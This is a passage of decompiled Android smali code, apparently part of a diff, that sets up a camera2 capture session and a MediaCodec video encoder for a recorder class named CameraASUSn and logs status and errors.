invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 175
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v3, v3, Lcom/nvav/srv/recorder/CameraASUSn;->FPS:I
|
||||
|
||||
invoke-virtual {p1, v0, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 176
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
const-string v3, "i-frame-interval"
|
||||
|
||||
invoke-virtual {p1, v3, v8}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 178
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=BitRate:%s"
|
||||
|
||||
new-array v7, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v9, v9, v5
|
||||
|
||||
aput-object v9, v7, v5
|
||||
|
||||
invoke-static {v3, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 179
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=BitRate:%d"
|
||||
|
||||
new-array v7, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {v9, v1}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
|
||||
|
||||
move-result v1
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
aput-object v1, v7, v5
|
||||
|
||||
invoke-static {v3, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 180
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v1, "result=FrameRate:%d"
|
||||
|
||||
new-array v3, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {v7, v0}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
|
||||
|
||||
move-result v0
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
aput-object v0, v3, v5
|
||||
|
||||
invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 181
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v2}, Landroid/media/MediaCodec;->createEncoderByType(Ljava/lang/String;)Landroid/media/MediaCodec;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
.line 182
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {p1, v0, v4, v4, v8}, Landroid/media/MediaCodec;->configure(Landroid/media/MediaFormat;Landroid/view/Surface;Landroid/media/MediaCrypto;I)V
|
||||
|
||||
.line 183
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$200(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/media/MediaCodec$Callback;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/media/MediaCodec;->setCallback(Landroid/media/MediaCodec$Callback;)V
|
||||
|
||||
.line 184
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->createInputSurface()Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-static {p1, v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$302(Lcom/nvav/srv/recorder/CameraASUSn;Landroid/view/Surface;)Landroid/view/Surface;
|
||||
|
||||
.line 185
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
new-instance v0, Ljava/util/ArrayList;
|
||||
|
||||
invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
.line 186
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$300(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
|
||||
|
||||
.line 188
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object p1, p1, v6
|
||||
|
||||
invoke-static {p1}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result p1
|
||||
|
||||
const/16 v0, 0x1e
|
||||
|
||||
if-le p1, v0, :cond_2
|
||||
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUSn;->mHandler:Landroid/os/Handler;
|
||||
|
||||
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createConstrainedHighSpeedCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
|
||||
|
||||
goto :goto_1
|
||||
|
||||
.line 189
|
||||
:cond_2
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUSn;->mHandler:Landroid/os/Handler;
|
||||
|
||||
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
|
||||
|
||||
.line 190
|
||||
:goto_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->start()V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 192
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:goto_2
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,966 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraASUSn$3;
|
||||
.super Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
.source "CameraASUSn.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUSn;)V
|
||||
.locals 0
|
||||
|
||||
.line 221
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$StateCallback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onActive(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 251
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Session active."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 252
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "time %d"
|
||||
|
||||
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "CameraCaptureSession ac"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onClosed(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 256
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Session closed."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 258
|
||||
:try_start_0
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Landroid/graphics/Rect;
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->rect:Landroid/graphics/Rect;
|
||||
|
||||
.line 259
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->aec:I
|
||||
|
||||
.line 260
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->cem:I
|
||||
|
||||
.line 261
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, [Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
.line 262
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->cafm:I
|
||||
|
||||
.line 263
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->caft:I
|
||||
|
||||
.line 264
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Float;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Float;->floatValue()F
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->lfd:F
|
||||
|
||||
.line 265
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->caem:I
|
||||
|
||||
.line 266
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->ss:I
|
||||
|
||||
.line 267
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Long;
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->sfd:Ljava/lang/Long;
|
||||
|
||||
.line 268
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Long;
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->set:Ljava/lang/Long;
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 270
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 273
|
||||
:goto_0
|
||||
:try_start_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
invoke-virtual {p1}, Landroid/hardware/camera2/CameraDevice;->close()V
|
||||
:try_end_1
|
||||
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_1
|
||||
move-exception p1
|
||||
|
||||
.line 275
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 278
|
||||
:goto_1
|
||||
:try_start_2
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
if-eqz p1, :cond_0
|
||||
|
||||
.line 279
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
